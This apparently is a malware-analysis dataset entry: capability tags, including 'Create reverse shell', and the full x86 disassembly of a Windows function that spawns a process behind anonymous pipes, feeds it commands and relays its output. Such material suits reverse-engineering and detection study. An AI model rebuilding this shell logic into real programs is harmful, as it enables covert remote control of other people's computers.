Function at 0x407d70
Capabilities:
Check os version
Create a process with modified i/o handles and window
Create pipe
Create process on windows
Create reverse shell
Create two anonymous pipes
Query environment variable
Read file on windows
Read pipe
Terminate process
Write and execute a file
Write file on windows
Write pipe

Disassembly:
sub esp, 0x698
push ebx
push ebp
push esi
push edi
mov edi, eax
lea eax, [esp + 0x54]
push eax
mov eax, dword [0x41d288]
push 0x17
call fcn.00402950
xor ebp, ebp
cmp eax, ebp
mov dword [esp + 0x30], eax
je 0x4080d1
push 0x104
lea ecx, [esp + 0xa4]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
test eax, eax
je 0x4080d1
push 0x44
or ebx, 0xffffffff
lea edx, [esp + 0x5c]
push ebp
push edx
mov dword [esp + 0x54], 0xc
mov dword [esp + 0x58], ebp
mov dword [esp + 0x5c], 1
mov dword [esp + 0x30], ebx
mov dword [esp + 0x20], ebx
mov dword [esp + 0x24], ebx
mov dword [esp + 0x2c], ebx
call fcn.00401100
add esp, 0xc
push 0x10
lea eax, [esp + 0x38]
push ebp
push eax
call fcn.00401100
mov eax, dword [0x41d2ac]
add esp, 0xc
cmp eax, ebp
jne 0x407e12
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [0x41d2ac], eax
cmp al, 6
jae 0x407e96
push edi
call fcn.00407a30
add esp, 4
mov eax, edi
mov cl, byte [eax]
add eax, 1
test cl, cl
jne 0x407e25
mov edi, edi
sub eax, 1
cmp eax, edi
je 0x407e3e
cmp byte [eax], 0xa
jne 0x407e30
jmp 0x407e43
cmp byte [eax], 0xa
jne 0x407e8d
sub eax, 1
cmp eax, edi
je 0x407e51
cmp byte [eax], 0xa
jne 0x407e43
jmp 0x407e56
cmp byte [eax], 0xa
jne 0x407e8d
mov ecx, eax
sub eax, 1
cmp eax, edi
je 0x407e66
cmp byte [eax], 0xa
jne 0x407e58
jmp 0x407e6b
cmp byte [eax], 0xa
jne 0x407e8d
cmp ecx, ebp
je 0x407e8d
lea esi, [ecx + 1]
mov ecx, esi
mov dl, byte [ecx]
add ecx, 1
test dl, dl
jne 0x407e74
sub ecx, esi
push ecx
add eax, 1
push esi
push eax
call fcn.00401140
add esp, 0xc
push edi
call fcn.00407a30
add esp, 4
mov esi, dword [sym.imp.KERNEL32.dll_CreatePipe]
push ebp
lea eax, [esp + 0x4c]
push eax
lea ecx, [esp + 0x20]
push ecx
lea edx, [esp + 0x2c]
push edx
call esi
test eax, eax
je 0x408076
push ebp
lea eax, [esp + 0x4c]
push eax
lea ecx, [esp + 0x2c]
push ecx
lea edx, [esp + 0x20]
push edx
call esi
test eax, eax
je 0x408076
mov eax, dword [esp + 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_SetHandleInformation]
push ebp
push 1
push eax
call esi
test eax, eax
je 0x408076
mov ecx, dword [esp + 0x14]
push ebp
push 1
push ecx
call esi
test eax, eax
je 0x408076
mov eax, dword [esp + 0x24]
mov edx, dword [esp + 0x20]
mov dword [esp + 0x94], eax
mov dword [esp + 0x98], eax
lea eax, [esp + 0x34]
push eax
lea ecx, [esp + 0x5c]
push ecx
push ebp
push ebp
push ebp
push 1
push ebp
push ebp
mov dword [esp + 0xb0], edx
push ebp
lea edx, [esp + 0xc4]
push edx
mov word [esp + 0xb0], bp
mov dword [esp + 0x80], 0x44
mov dword [esp + 0xac], 0x101
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x408076
mov ecx, dword [esp + 0x6ac]
mov edx, dword [esp + 0x18]
push ebp
lea eax, [esp + 0x48]
push eax
push ecx
push edi
push edx
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov ecx, dword [esp + 0x44]
mov edx, dword [esp + 0x3c]
lea eax, [esp + 0xa0]
push eax
push ecx
push edx
call fcn.00407a30
mov edi, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov ebx, dword [sym.imp.KERNEL32.dll_ReadFile]
add esp, 0xc
mov dword [esp + 0x28], ebp
mov dword [esp + 0x1c], ebp
mov ebp, dword [sym.imp.KERNEL32.dll_PeekNamedPipe]
mov dword [esp + 0x2c], 0x400
xor esi, esi
mov eax, dword [esp + 0x34]
push 0x14
push eax
call edi
cmp eax, 0xffffffff
mov dword [esp + 0x1c], eax
je 0x408045
cmp eax, 0x80
je 0x408045
mov edx, dword [esp + 0x14]
push 0
lea ecx, [esp + 0x2c]
push ecx
push 0
push 0
push 0
push edx
call ebp
test eax, eax
je 0x40801d
mov eax, dword [esp + 0x28]
test eax, eax
je 0x40802c
cmp eax, 0x400
jb 0x407ffe
mov eax, 0x400
push 0
lea ecx, [esp + 0x30]
push ecx
push eax
mov eax, dword [esp + 0x20]
lea edx, [esp + 0x2b4]
push edx
push eax
call ebx
test eax, eax
je 0x408045
xor esi, esi
jmp 0x40802c
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.00407a30
add esp, 4
add esi, 0x14
cmp dword [esp + 0x1c], 0x102
jne 0x408045
cmp esi, 0x493e0
jb 0x407fb5
call fcn.00407a30
mov edx, dword [esp + 0x34]
lea ecx, [esp + 0x1c]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
cmp dword [esp + 0x1c], 0x103
jne 0x408071
mov eax, dword [esp + 0x34]
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
xor ebp, ebp
or ebx, 0xffffffff
mov eax, dword [esp + 0x38]
cmp eax, ebp
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
je 0x408087
push eax
call esi
mov eax, dword [esp + 0x34]
cmp eax, ebp
je 0x408092
push eax
call esi
mov eax, dword [esp + 0x20]
cmp eax, ebx
je 0x40809d
push eax
call esi
mov eax, dword [esp + 0x18]
cmp eax, ebx
je 0x4080a8
push eax
call esi
mov eax, dword [esp + 0x14]
cmp eax, ebx
je 0x4080b3
push eax
call esi
mov eax, dword [esp + 0x24]
cmp eax, ebx
je 0x4080be
push eax
call esi
mov ecx, dword [esp + 0x30]
push ecx
push ebp
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x698
ret